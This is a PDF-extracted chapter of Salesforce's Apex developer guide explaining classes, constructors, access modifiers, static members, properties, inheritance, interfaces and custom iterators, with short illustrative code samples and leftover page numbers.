This chapter covers classes and interfaces in Apex. It describes defining classes,
instantiating them, and extending them. Interfaces, Apex class versions,
properties, and other related class concepts are also described.
In most cases, the class concepts described here are modeled on their
counterparts in Java, and can be quickly understood by those who are familiar
with them.

54
Classes, Objects, and Interfaces

Understanding Classes

Understanding Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an
instance of a class. For example, the PurchaseOrder class describes an entire purchase order, and everything that you can
do with a purchase order. An instance of the PurchaseOrder class is a specific purchase order that you send or receive.
All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state
of a PurchaseOrder object—what it knows—includes the user who sent it, the date and time it was created, and whether it
was flagged as important. The behavior of a PurchaseOrder object—what it can do—includes checking inventory, shipping
a product, or notifying a customer.
A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's Name or
Type. Since these variables are associated with a class and are members of it, they are commonly referred to as member variables.
Methods are used to control behavior, such as getOtherQuotes or copyLineItems.
A class can contain other classes, exception types, and initialization code.
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the
body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods
contained in the interface.
For more general information on classes, objects, and interfaces, see
http://java.sun.com/docs/books/tutorial/java/concepts/index.html

Apex Class Definition
In Apex, you can define top-level classes (also called outer classes) as well as inner classes, that is, a class defined within another
class. You can only have inner classes one level deep. For example:
public class myOuterClass {
// Additional myOuterClass code here
class myInnerClass {
// myInnerClass code here
}
}

To define a class, specify the following:
1. Access modifiers:
•
•

You must use one of the access modifiers (such as public or global) in the declaration of a top-level class.
You do not have to use an access modifier in the declaration of an inner class.

2. Optional definition modifiers (such as virtual, abstract, and so on)
3. Required: The keyword class followed by the name of the class
4. Optional extensions and/or implementations
Use the following syntax for defining classes:
private | public | global
[virtual | abstract | with sharing | without sharing | (none)]
class ClassName [implements InterfaceNameList | (none)] [extends ClassName | (none)]
{
// The body of the class
}

55
Classes, Objects, and Interfaces

•

•
•

•
•
•

Class Variables

The private access modifier declares that this class is only known locally, that is, only by this section of code. This is the
default access for inner classes—that is, if you don't specify an access modifier for an inner class, it is considered private.
This keyword can only be used with inner classes.
The public access modifier declares that this class is visible in your application or namespace.
The global access modifier declares that this class is known by all Apex code everywhere. All classes that contain methods
defined with the webService keyword must be declared as global. If a method or inner class is declared as global,
the outer, top-level class must also be defined as global.
The with sharing and without sharing keywords specify the sharing mode for this class. For more information,
see Using the with sharing or without sharing Keywords on page 77.
The virtual definition modifier declares that this class allows extension and overrides. You cannot override a method
with the override keyword unless the class has been defined as virtual.
The abstract definition modifier declares that this class contains abstract methods, that is, methods that only have their
signature declared and no body defined.
Note:
•
•
•

You cannot add an abstract method to a global class after the class has been uploaded in a Managed - Released
package version.
If the class in the Managed - Released package is virtual, the method that you can add to it must also be virtual
and must have an implementation.
You cannot override a public or protected virtual method of a global class of an installed managed package.

For more information about managed packages, see What is a Package? on page 384.
A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex does not support
multiple inheritance. The interface names in the list are separated by commas. For more information about interfaces, see
Understanding Interfaces on page 71.
For more information about method and variable access modifiers, see Access Modifiers on page 60.

Class Variables
To declare a variable, specify the following:
•
•
•
•

Optional: Modifiers, such as public or final, as well as static.
Required: The data type of the variable, such as String or Boolean.
Required: The name of the variable.
Optional: The value of the variable.

Use the following syntax when defining a variable:
[public | private | protected | global | final] [static] data_type variable_name
[= value]

For example:
private static final Integer MY_INT;
private final Integer i = 1;

Class Methods
To define a method, specify the following:
56
Classes, Objects, and Interfaces

•
•
•
•

Class Methods

Optional: Modifiers, such as public or protected.
Required: The data type of the value returned by the method, such as String or Integer. Use void if the method does not
return a value.
Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed
in parentheses (). If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters.
Required: The body of the method, enclosed in braces {}. All the code for the method, including any local variable
declarations, is contained here.

Use the following syntax when defining a method:
(public | private | protected | global ) [override] [static] data_type method_name
(input parameters)
{
// The body of the method
}

Note: You can only use override to override methods in classes that have been defined as virtual.

For example:
public static Integer getInt() {
return MY_INT;
}

As in Java, methods that return values can also be run as a statement if their results are not assigned to another variable.
Note that user-defined methods:
•
•
•
•
•

Can be used anywhere that system methods are used.
Can be recursive.
Can have side effects, such as DML insert statements that initialize sObject record IDs. See DML Statements on page
390.
Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two
phases, so forward declarations are not needed.
Can be polymorphic. For example, a method named foo can be implemented in two ways, one with a single Integer
parameter and one with two Integer parameters. Depending on whether the method is called with one or two Integers,
the Apex parser selects the appropriate implementation to execute. If the parser cannot find an exact match, it then seeks
an approximate match using type coercion rules. For more information on data conversion, see Understanding Rules of
Conversion on page 47.
Note: If the parser finds multiple approximate matches, a parse-time exception is generated.

•

When using void methods that have side effects, user-defined methods are typically executed as stand-alone procedure
statements in Apex code. For example:
System.debug('Here is a note for the log.');

•

Can have statements where the return values are run as a statement if their results are not assigned to another variable.
This is the same as in Java.

57
Classes, Objects, and Interfaces

Class Methods

Passing Method Arguments By Value
In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This means that any
changes to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments
are lost.
Non-primitive data type arguments, such as sObjects, are also passed into methods by value. This means that when the method
returns, the passed-in argument still references the same object as before the method call and can't be changed to point to
another object. However, the values of the object's fields can be changed in the method.
The following are examples of passing primitive and non-primitive data type arguments into methods.
Example: Passing Primitive Data Type Arguments
This example shows how a primitive argument of type String is passed by value into another method. The
debugStatusMessage method in this example creates a String variable, msg, and assigns it a value. It then passes this
variable as an argument to another method, which modifies the value of this String. However, since String is a primitive type,
it is passed by value, and when the method returns, the value of the original variable, msg, is unchanged. An assert statement
verifies that the value of msg is still the old value.
public class PassPrimitiveTypeExample {
public static void debugStatusMessage() {
String msg = 'Original value';
processString(msg);
// The value of the msg variable didn't
// change; it is still the old value.
System.assertEquals(msg, 'Original value');
}
public static void processString(String s) {
s = 'Modified value';
}
}

Example: Passing Non-Primitive Data Type Arguments
This example shows how a List argument is passed by value into another method and can be modified. It also shows that the
List argument can’t be modified to point to another List object. First, the createTemperatureHistory method creates
a variable, fillMe, that is a List of Integers and passes it to a method. The called method fills this list with Integer values
representing rounded temperature values. When the method returns, an assert verifies that the contents of the original List
variable has changed and now contains five values. Next, the example creates a second List variable, createMe, and passes it
to another method. The called method assigns the passed-in argument to a newly created List that contains new Integer values.
When the method returns, the original createMe variable doesn’t point to the new List but still points to the original List,
which is empty. An assert verifies that createMe contains no values.
public class PassNonPrimitiveTypeExample {
public static void createTemperatureHistory() {
List<Integer> fillMe = new List<Integer>();
reference(fillMe);
// The list is modified and contains five items
// as expected.
System.assertEquals(fillMe.size(),5);
List<Integer> createMe = new List<Integer>();
referenceNew(createMe);
// The list is not modified because it still points
// to the original list, not the new list
// that the method created.
System.assertEquals(createMe.size(),0);
}
public static void reference(List<Integer> m) {
// Add rounded temperatures for the last five days.
m.add(70);

58
Classes, Objects, and Interfaces

Using Constructors

m.add(68);
m.add(75);
m.add(80);
m.add(82);
}
public static void referenceNew(List<Integer> m) {
// Assign argument to a new List of
// five temperature values.
m = new List<Integer>{55, 59, 62, 60, 63};
}
}

Using Constructors
A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor
for every class. If a class does not have a user-defined constructor, an implicit, no-argument, public one is used.
The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return
type and it is not inherited by the object created from it.
After you write the constructor for a class, you must use the new keyword in order to instantiate an object from that class,
using that constructor. For example, using the following class:
public class TestObject {
// The no argument constructor
public TestObject() {
// more code here
}
}

A new object of this type can be instantiated with the following code:
TestObject myTest = new TestObject();

If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments.
If you create a constructor that takes arguments, and you still want to use a no-argument constructor, you must include one
in your code. Once you create a constructor for a class, you no longer have access to the default, no-argument public constructor.
You must create your own.
In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different
parameters. The following example illustrates a class with two constructors: one with no arguments and one that takes a simple
Integer argument. It also illustrates how one constructor calls another constructor using the this(...) syntax, also know as
constructor chaining.
public class TestObject2 {
private static final Integer DEFAULT_SIZE = 10;
Integer size;
//Constructor with no arguments
public TestObject2() {
this(DEFAULT_SIZE); // Using this(...) calls the one argument constructor
}
// Constructor with one argument
public TestObject2(Integer ObjectSize) {
size = ObjectSize;

59
Classes, Objects, and Interfaces

Access Modifiers

}
}

New objects of this type can be instantiated with the following code:
TestObject2 myObject1 = new TestObject2(42);
TestObject2 myObject2 = new TestObject2();

Every constructor that you create for a class must have a different argument list. In the following example, all of the constructors
are possible:
public class Leads {
// First a no-argument constructor
public Leads () {}
// A constructor with one argument
public Leads (Boolean call) {}
// A constructor with two arguments
public Leads (String email, Boolean call) {}
// Though this constructor has the same arguments as the
// one above, they are in a different order, so this is legal
public Leads (Boolean call, String email) {}
}

When you define a new class, you are defining a new data type. You can use class name in any place you can use other data
type names, such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must
be an instance of that class or subclass.

Access Modifiers
Apex allows you to use the private, protected, public, and global access modifiers when defining methods and
variables.
While triggers and anonymous blocks can also use these access modifiers, they are not as useful in smaller portions of Apex.
For example, declaring a method as global in an anonymous block does not enable you to call it from outside of that code.
For more information on class access modifiers, see Apex Class Definition on page 55.
Note: Interface methods have no access modifiers. They are always global. For more information, see Understanding
Interfaces on page 71.
By default, a method or variable is visible only to the Apex code within the defining class. You must explicitly specify a method
or variable as public in order for it to be available to other classes in the same application namespace (see Namespace Prefix).
You can change the level of visibility by using the following access modifiers:
private

This is the default, and means that the method or variable is accessible only within the Apex class in which it is defined.
If you do not specify an access modifier, the method or variable is private.
protected

This means that the method or variable is visible to any inner classes in the defining Apex class. You can only use this
access modifier for instance methods and member variables. Note that it is strictly more permissive than the default
(private) setting, just like Java.

60
Classes, Objects, and Interfaces

Static and Instance

public

This means the method or variable can be used by any Apex in this application or namespace.
Note: In Apex, the public access modifier is not the same as it is in Java. This was done to discourage joining
applications, to keep the code for each application separate. In Apex, if you want to make something public like
it is in Java, you need to use the global access modifier.

global

This means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in
the same application. This access modifier should be used for any method that needs to be referenced outside of the
application, either in the SOAP API or by other Apex code. If you declare a method or variable as global, you must
also declare the class that contains it as global.
Note: We recommend using the global access modifier rarely, if at all. Cross-application dependencies are
difficult to maintain.

To use the private, protected, public, or global access modifiers, use the following syntax:
[(none)|private|protected|public|global] declaration

For example:
private string s1 = '1';
public string gets1() {
return this.s1;
}

Static and Instance
In Apex, you can have static methods, variables, and initialization code. Apex classes can’t be static. You can also have instance
methods, member variables, and initialization code (which have no modifier), and local variables:
•

•

•

Static methods, variables, or initialization code are associated with a class, and are only allowed in outer classes. When you
declare a method or variable as static, it's initialized only once when a class is loaded. Static variables aren't transmitted
as part of the view state for a Visualforce page.
Instance methods, member variables, and initialization code are associated with a particular object and have no definition
modifier. When you declare instance methods, member variables, or initialization code, an instance of that item is created
with every object instantiated from the class.
Local variables are associated with the block of code in which they are declared. All local variables should be initialized
before they are used.

The following is an example of a local variable whose scope is the duration of the if code block:
Boolean myCondition = true;
if (myCondition) {
integer localVariable = 10;
}

61
Classes, Objects, and Interfaces

Static and Instance

Using Static Methods and Variables
You can only use static methods and variables with outer classes. Inner classes have no static methods or variables. A static
method or variable does not require an instance of the class in order to run.
All static member variables in a class are initialized before any object of the class is created. This includes any static initialization
code blocks. All of these are run in the order in which they appear in the class.
Static methods are generally used as utility methods and never depend on a particular instance member variable value. Because
a static method is only associated with a class, it cannot access any instance member variable values of its class.
Static variables are only static within the scope of the request. They’re not static across the server, or across the entire organization.
Use static variables to store information that is shared within the confines of the class. All instances of the same class share a
single copy of the static variables. For example, all triggers that are spawned by the same transaction can communicate with
each other by viewing and updating static variables in a related class. A recursive trigger might use the value of a class variable
to determine when to exit the recursion.
Suppose you had the following class:
public class p {
public static boolean firstRun = true;
}

A trigger that uses this class could then selectively fail the first run of the trigger:
trigger t1 on Account (before delete, after delete, after undelete) {
if(Trigger.isBefore){
if(Trigger.isDelete){
if(p.firstRun){
Trigger.old[0].addError('Before Account Delete Error');
p.firstRun=false;
}
}
}
}

Static variables defined in a trigger don’t retain their values between different trigger contexts within the same transaction, for
example, between before insert and after insert invocations. Define the static variables in a class instead so that the trigger can
access these class member variables and check their static values.
Class static variables cannot be accessed through an instance of that class. So if class C has a static variable S, and x is an
instance of C, then x.S is not a legal expression.
The same is true for instance methods: if M() is a static method then x.M() is not legal. Instead, your code should refer to
those static identifiers using the class: C.S and C.M().
If a local variable is named the same as the class name, these static methods and variables are hidden.
Inner classes behave like static Java inner classes, but do not require the static keyword. Inner classes can have instance
member variables like outer classes, but there is no implicit pointer to an instance of the outer class (using the this keyword).
Note: For Apex saved using Salesforce.com API version 20.0 or earlier, if an API call causes a trigger to fire, the
chunk of 200 records to process is further split into chunks of 100 records. For Apex saved using Salesforce.com API
version 21.0 and later, no further splits of API chunks occur. Note that static variable values are reset between API
batches, but governor limits are not. Do not use static variables to track state information between API batches.

62
Classes, Objects, and Interfaces

Static and Instance

Using Instance Methods and Variables
Instance methods and member variables are used by an instance of a class, that is, by an object. Instance member variables are
declared inside a class, but not within a method. Instance methods usually use instance member variables to affect the behavior
of the method.
Suppose you wanted to have a class that collects two dimensional points and plot them on a graph. The following skeleton
class illustrates this, making use of member variables to hold the list of points and an inner class to manage the two-dimensional
list of points.
public class Plotter {
// This inner class manages the points
class Point {
Double x;
Double y;
Point(Double x, Double y) {
this.x = x;
this.y = y;
}
Double getXCoordinate() {
return x;
}
Double getYCoordinate() {
return y;
}
}
List<Point> points = new List<Point>();
public void plot(Double x, Double y) {
points.add(new Point(x, y));
}
// The following method takes the list of points and does something with them
public void render() {
}
}

Using Initialization Code
Instance initialization code is a block of code in the following form that is defined in a class:
{
//code body
}

The instance initialization code in a class is executed every time an object is instantiated from that class. These code blocks
run before the constructor.
If you do not want to write your own constructor for a class, you can use an instance initialization code block to initialize
instance variables. However, most of the time you should either give the variable a default value or use the body of a constructor
to do initialization and not use instance initialization code.
Static initialization code is a block of code preceded with the keyword static:
static {

63
Classes, Objects, and Interfaces

Apex Properties

//code body
}

Similar to other static code, a static initialization code block is only initialized once on the first use of the class.
A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body.
The code blocks are executed in the order in which they appear in the file, the same as in Java.
You can use static initialization code to initialize static final variables and to declare any information that is static, such as a
map of values. For example:
public class MyClass {
class RGB {
Integer red;
Integer green;
Integer blue;
RGB(Integer red, Integer green, Integer blue) {
this.red = red;
this.green = green;
this.blue = blue;
}
}
static Map<String, RGB> colorMap = new Map<String, RGB>();
static {
colorMap.put('red', new RGB(255, 0, 0));
colorMap.put('cyan', new RGB(0, 255, 255));
colorMap.put('magenta', new RGB(255, 0, 255));
}
}

Apex Properties
An Apex property is similar to a variable, however, you can do additional things in your code to a property value before it is
accessed or returned. Properties can be used in many different ways: they can validate data before a change is made; they can
prompt an action when data is changed, such as altering the value of other member variables; or they can expose data that is
retrieved from some other source, such as another class.
Property definitions include one or two code blocks, representing a get accessor and a set accessor:
•
•

The code in a get accessor executes when the property is read.
The code in a set accessor executes when the property is assigned a new value.

A property with only a get accessor is considered read-only. A property with only a set accessor is considered write-only. A
property with both accessors is read-write.
To declare a property, use the following syntax in the body of a class:
Public class BasicClass {
// Property declaration
access_modifier return_type property_name {
get {
//Get accessor code block
}
set {
//Set accessor code block

64
Classes, Objects, and Interfaces

Apex Properties

}
}
}

Where:
•

access_modifier is the access modifier for the property. The access modifiers that can be applied to properties include:
public, private, global, and protected. In addition, these definition modifiers can be applied: static and
transient. For more information on access modifiers, see Access Modifiers on page 60.

•

return_type is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data

•

Types on page 27.
property_name is the name of the property

For example, the following class defines a property named prop. The property is public. The property returns an integer data
type.
public class BasicProperty {
public integer prop {
get { return prop; }
set { prop = value; }
}
}

The following code segment calls the class above, exercising the get and set accessors:
BasicProperty bp = new BasicProperty();
bp.prop = 5;
// Calls set accessor
System.assert(bp.prop == 5);
// Calls get accessor

Note the following:
•
•
•
•
•
•
•
•

The body of the get accessor is similar to that of a method. It must return a value of the property type. Executing the get
accessor is the same as reading the value of the variable.
The get accessor must end in a return statement.
We recommend that your get accessor should not change the state of the object that it is defined on.
The set accessor is similar to a method whose return type is void.
When you assign a value to the property, the set accessor is invoked with an argument that provides the new value.
When the set accessor is invoked, the system passes an implicit argument to the setter called value of the same data type
as the property.
Properties cannot be defined on interface.
Apex properties are based on their counterparts in C#, with the following differences:
◊ Properties provide storage for values directly. You do not need to create supporting members for storing values.
◊ It is possible to create automatic properties in Apex. For more information, see Using Automatic Properties on page
65.

Using Automatic Properties
Properties do not require additional code in their get or set accessor code blocks. Instead, you can leave get and set accessor
code blocks empty to define an automatic property. Automatic properties allow you to write more compact code that is easier
to debug and maintain. They can be declared as read-only, read-write, or write-only. The following example creates three
automatic properties:
public class AutomaticProperty {
public integer MyReadOnlyProp { get; }
public double MyReadWriteProp { get; set; }

65
Classes, Objects, and Interfaces

Extending a Class

public string MyWriteOnlyProp { set; }
}

The following code segment exercises these properties:
AutomaticProperty ap = new AutomaticProperty();
ap.MyReadOnlyProp = 5;
// This produces a compile error: not writable
ap.MyReadWriteProp = 5;
// No error
System.assert(MyWriteOnlyProp == 5);
// This produces a compile error: not readable

Using Static Properties
When a property is declared as static, the property's accessor methods execute in a static context. This means that the
accessors do not have access to non-static member variables defined in the class. The following example creates a class with
both static and instance properties:
public class StaticProperty {
public static integer StaticMember;
public integer NonStaticMember;
public static integer MyGoodStaticProp {
get{return MyGoodStaticProp;}
}
// The following produces a system error
// public static integer MyBadStaticProp { return NonStaticMember; }
public integer MyGoodNonStaticProp {
get{return NonStaticMember;}
}
}

The following code segment calls the static and instance properties:
StaticProperty sp = new StaticProperty();
// The following produces a system error: a static variable cannot be
// accessed through an object instance
// sp.MyGoodStaticProp = 5;
// The following does not produce an error
StaticProperty.MyGoodStaticProp = 5;

Using Access Modifiers on Property Accessors
Property accessors can be defined with their own access modifiers. If an accessor includes its own access modifier, this modifier
overrides the access modifier of the property. The access modifier of an individual accessor must be more restrictive than the
access modifier on the property itself. For example, if the property has been defined as public, the individual accessor cannot
be defined as global. The following class definition shows additional examples:
global virtual class PropertyVisibility {
// X is private for read and public for write
public integer X { private get; set; }
// Y can be globally read but only written within a class
global integer Y { get; public set; }
// Z can be read within the class but only subclasses can set it
public integer Z { get; protected set; }
}

Extending a Class
You can extend a class to provide a more specialized behavior.

66
Classes, Objects, and Interfaces

Extending a Class

A class that extends another class inherits all the methods and properties of the extended class. In addition, the extending class
can override the existing virtual methods by using the override keyword in the method definition. Overriding a virtual method
allows you to provide a different implementation for an existing method. This means that the behavior of a particular method
is different based on the object you’re calling it on. This is referred to as polymorphism.
A class extends another class using the extends keyword in the class definition. A class can only extend one other class, but
it can implement more than one interface.
This example shows how to extend a class. The YellowMarker class extends the Marker class.
public virtual class Marker {
public virtual void write() {
System.debug('Writing some text.');
}
public virtual Double discount() {
return .05;
}
}
// Extension for the Marker class
public class YellowMarker extends Marker {
public override void write() {
System.debug('Writing some text using the yellow marker.');
}
}

This code segment shows polymorphism. The example declares two objects of the same type (Marker). Even though both
objects are markers, the second object is assigned to an instance of the YellowMarker class. Hence, calling the write method
on it yields a different result than calling this method on the first object because this method has been overridden. Note that
we can call the discount method on the second object even though this method isn’t part of the YellowMarker class
definition, but it is part of the extended class, and hence is available to the extending class, YellowMarker.
Marker obj1, obj2;
obj1 = new Marker();
// This outputs 'Writing some text.'
obj1.write();
obj2 = new YellowMarker();
// This outputs 'Writing some text using the yellow marker.'
obj2.write();
// We get the discount method for free
// and can call it from the YellowMarker instance.
Double d = obj2.discount();

The extending class can have more method definitions that aren’t common with the original extended class. For example, the
RedMarker class below extends the Marker class and has one extra method, computePrice, that isn’t available for the
Marker class. To call the extra methods, the object type must be the extending class.
// Extension for the Marker class
public class RedMarker extends Marker {
public override void write() {
System.debug('Writing some text in red.');
}
// Method only in this class
public Double computePrice() {
return 1.5;
}
}

67
Classes, Objects, and Interfaces

Extended Class Example

This shows how to call the additional method on the RedMarker class.
RedMarker obj = new RedMarker();
// Call method specific to RedMarker only
Double price = obj.computePrice();

Extensions also apply to interfaces—an interface can extend another interface. As with classes, when an interface extends
another interface, all the methods and properties of the extended interface are available to the extending interface.

Extended Class Example
The following is an extended example of a class, showing all the features of Apex classes. The keywords and concepts introduced
in the example are explained in more detail throughout this chapter.
// Top-level (outer) class must be public or global (usually public unless they contain
// a Web Service, then they must be global)
public class OuterClass {
// Static final variable (constant) – outer class level only
private static final Integer MY_INT;
// Non-final static variable - use this to communicate state across triggers
// within a single request)
public static String sharedState;
// Static method - outer class level only
public static Integer getInt() { return MY_INT; }
// Static initialization (can be included where the variable is defined)
static {
MY_INT = 2;
}
// Member variable for outer class
private final String m;
// Instance initialization block - can be done where the variable is declared,
// or in a constructor
{
m = 'a';
}
// Because no constructor is explicitly defined in this outer class, an implicit,
// no-argument, public constructor exists
// Inner interface
public virtual interface MyInterface {
// No access modifier is necessary for interface methods - these are always
// public or global depending on the interface visibility
void myMethod();
}
// Interface extension
interface MySecondInterface extends MyInterface {
Integer method2(Integer i);
}
// Inner class - because it is virtual it can be extended.
// This class implements an interface that, in turn, extends another interface.
// Consequently the class must implement all methods.
public virtual class InnerClass implements MySecondInterface {
// Inner member variables
private final String s;

68
Classes, Objects, and Interfaces

Extended Class Example

private final String s2;
// Inner instance initialization block (this code could be located above)
{
this.s = 'x';
}
// Inline initialization (happens after the block above executes)
private final Integer i = s.length();
// Explicit no argument constructor
InnerClass() {
// This invokes another constructor that is defined later
this('none');
}
// Constructor that assigns a final variable value
public InnerClass(String s2) {
this.s2 = s2;
}
// Instance method that implements a method from MyInterface.
// Because it is declared virtual it can be overridden by a subclass.
public virtual void myMethod() { /* does nothing */ }
// Implementation of the second interface method above.
// This method references member variables (with and without the "this" prefix)
public Integer method2(Integer i) { return this.i + s.length(); }
}
// Abstract class (that subclasses the class above). No constructor is needed since
// parent class has a no-argument constructor
public abstract class AbstractChildClass extends InnerClass {
// Override the parent class method with this signature.
// Must use the override keyword
public override void myMethod() { /* do something else */ }
// Same name as parent class method, but different signature.
// This is a different method (displaying polymorphism) so it does not need
// to use the override keyword
protected void method2() {}
// Abstract method - subclasses of this class must implement this method
abstract Integer abstractMethod();
}
// Complete the abstract class by implementing its abstract method
public class ConcreteChildClass extends AbstractChildClass {
// Here we expand the visibility of the parent method - note that visibility
// cannot be restricted by a sub-class
public override Integer abstractMethod() { return 5; }
}
// A second sub-class of the original InnerClass
public class AnotherChildClass extends InnerClass {
AnotherChildClass(String s) {
// Explicitly invoke a different super constructor than one with no arguments
super(s);
}
}
// Exception inner class
public virtual class MyException extends Exception {
// Exception class member variable
public Double d;
// Exception class constructor
MyException(Double d) {
this.d = d;

69
Classes, Objects, and Interfaces

Extended Class Example

}
// Exception class method, marked as protected
protected void doIt() {}
}
// Exception classes can be abstract and implement interfaces
public abstract class MySecondException extends Exception implements MyInterface {
}
}

This code example illustrates:
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•

A top-level class definition (also called an outer class)
Static variables and static methods in the top-level class, as well as static initialization code blocks
Member variables and methods for the top-level class
Classes with no user-defined constructor — these have an implicit, no-argument constructor
An interface definition in the top-level class
An interface that extends another interface
Inner class definitions (one level deep) within a top-level class
A class that implements an interface (and, therefore, its associated sub-interface) by implementing public versions of the
method signatures
An inner class constructor definition and invocation
An inner class member variable and a reference to it using the this keyword (with no arguments)
An inner class constructor that uses the this keyword (with arguments) to invoke a different constructor
Initialization code outside of constructors — both where variables are defined, as well as with anonymous blocks in curly
braces ({}). Note that these execute with every construction in the order they appear in the file, as with Java.
Class extension and an abstract class
Methods that override base class methods (which must be declared virtual)
The override keyword for methods that override subclass methods
Abstract methods and their implementation by concrete sub-classes
The protected access modifier
Exceptions as first class objects with members, methods, and constructors

This example shows how the class above can be called by other Apex code:
// Construct an instance of an inner concrete class, with a user-defined constructor
OuterClass.InnerClass ic = new OuterClass.InnerClass('x');
// Call user-defined methods in the class
System.assertEquals(2, ic.method2(1));
// Define a variable with an interface data type, and assign it a value that is of
// a type that implements that interface
OuterClass.MyInterface mi = ic;
// Use instanceof and casting as usual
OuterClass.InnerClass ic2 = mi instanceof OuterClass.InnerClass ?
(OuterClass.InnerClass)mi : null;
System.assert(ic2 != null);
// Construct the outer type
OuterClass o = new OuterClass();
System.assertEquals(2, OuterClass.getInt());
// Construct instances of abstract class children
System.assertEquals(5, new OuterClass.ConcreteChildClass().abstractMethod());

70
Classes, Objects, and Interfaces

Understanding Interfaces

// Illegal - cannot construct an abstract class
// new OuterClass.AbstractChildClass();
// Illegal – cannot access a static method through an instance
// o.getInt();
// Illegal - cannot call protected method externally
// new OuterClass.ConcreteChildClass().method2();

This code example illustrates:
•
•
•
•

Construction of the outer class
Construction of an inner class and the declaration of an inner interface type
A variable declared as an interface type can be assigned an instance of a class that implements that interface
Casting an interface variable to be a class type that implements that interface (after verifying this using the instanceof
operator)

Understanding Interfaces
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the
body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods
contained in the interface.
Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the
declaration for that method. This way you can have different implementations of a method based on your specific application.
Defining an interface is similar to defining a new class. For example, a company might have two types of purchase orders,
ones that come from customers, and others that come from their employees. Both are a type of purchase order. Suppose you
needed a method to provide a discount. The amount of the discount can depend on the type of purchase order.
You can model the general concept of a purchase order as an interface and have specific implementations for customers and
employees. In the following example the focus is only on the discount aspect of a purchase order.
This is the definition of the PurchaseOrder interface.
// An interface that defines what a purchase order looks like in general
public interface PurchaseOrder {
// All other functionality excluded
Double discount();
}

This class implements the PurchaseOrder interface for customer purchase orders.
// One implementation of the interface for customers
public class CustomerPurchaseOrder implements PurchaseOrder {
public Double discount() {
return .05; // Flat 5% discount
}
}

This class implements the PurchaseOrder interface for employee purchase orders.
// Another implementation of the interface for employees
public class EmployeePurchaseOrder implements PurchaseOrder {
public Double discount() {
return .10; // It’s worth it being an employee! 10% discount
}
}

71
Classes, Objects, and Interfaces

Custom Iterators

Note the following about the above example:
•
•

The interface PurchaseOrder is defined as a general prototype. Methods defined within an interface have no access
modifiers and contain just their signature.
The CustomerPurchaseOrder class implements this interface; therefore, it must provide a definition for the discount
method. As with Java, any class that implements an interface must define all of the methods contained in the interface.

When you define a new interface, you are defining a new data type. You can use an interface name in any place you can use
another data type name. If you define a variable whose type is an interface, any object you assign to it must be an instance of
a class that implements the interface, or a sub-interface data type.
See also Classes and Casting on page 86.
Note: You cannot add a method to a global interface after the class has been uploaded in a Managed - Released
package version.

Custom Iterators
An iterator traverses through every item in a collection. For example, in a while loop in Apex, you define a condition for
exiting the loop, and you must provide some means of traversing the collection, that is, an iterator. In the following example,
count is incremented by 1 every time the loop is executed (count++) :
while (count < 11) {
System.debug(count);
count++;
}

Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. This is useful
for data that exists in sources outside of Salesforce that you would normally define the scope of using a SELECT statement.
Iterators can also be used if you have multiple SELECT statements.
Using Custom Iterators
To use custom iterators, you must create an Apex class that implements the Iterator interface.
The Iterator interface has the following instance methods:
Name

Arguments

Returns

Description

hasNext

Boolean

Returns true if there is another item in the collection
being traversed, false otherwise.

next

Any type

Returns the next item in the collection.

All methods in the Iterator interface must be declared as global or public.
You can only use a custom iterator in a while loop. For example:
IterableString x = new IterableString('This is a really cool test.');
while(x.hasNext()){
system.debug(x.next());
}

Iterators are not currently supported in for loops.

72
Classes, Objects, and Interfaces

Custom Iterators

Using Custom Iterators with Iterable
If you do not want to use a custom iterator with a list, but instead want to create your own data structure, you can use the
Iterable interface to generate the data structure.
The Iterable interface has the following method:
Name

Arguments

iterator

Returns

Description

Iterator class

Returns a reference to the iterator for this interface.

The iterator method must be declared as global or public. It creates a reference to the iterator that you can then use
to traverse the data structure.
In the following example a custom iterator iterates through a collection:
global class CustomIterable
implements Iterator<Account>{
List<Account> accs {get; set;}
Integer i {get; set;}
public CustomIterable(){
accs =
[SELECT Id, Name,
NumberOfEmployees
FROM Account
WHERE Name = 'false'];
i = 0;
}
global boolean hasNext(){
if(i >= accs.size()) {
return false;
} else {
return true;
}
}
global Account next(){
// 8 is an arbitrary
// constant in this example
// that represents the
// maximum size of the list.
if(i == 8){return null;}
i++;
return accs[i-1];
}
}

The following calls the above code:
global class foo implements iterable<Account>{
global Iterator<Account> Iterator(){
return new CustomIterable();
}
}

The following is a batch job that uses an iterator:
global class batchClass implements Database.batchable<Account>{
global Iterable<Account> start(Database.batchableContext info){
return new foo();
}
global void execute(Database.batchableContext info, List<Account> scope){

73
Classes, Objects, and Interfaces

Keywords

List<Account> accsToUpdate = new List<Account>();
for(Account a : scope){
a.Name = 'true';
a.NumberOfEmployees = 69;
accsToUpdate.add(a);
}
update accsToUpdate;
}
global void finish(Database.batchableContext info){
}
}

Keywords
Apex has the following keywords available:
•
•
•
•
•
•

final
instanceof
super
this
transient
with sharing and without sharing

Using the final Keyword
You can use the final keyword to modify variables.
•
•
•
•
•
•

Final variables can only be assigned a value once, either when you declare a variable or in initialization code. You must
assign a value to it in one of these two places.
Static final variables can be changed in static initialization code or where defined.
Member final variables can be changed in initialization code blocks, constructors, or with other variable declarations.
To define a constant, mark a variable as both static and final.
Non-final static variables are used to communicate state at the class level (such as state between triggers). However, they
are not shared across requests.
Methods and classes are final by default. You cannot use the final keyword in the declaration of a class or method. This
means they cannot be overridden. Use the virtual keyword if you need to override a method or class.
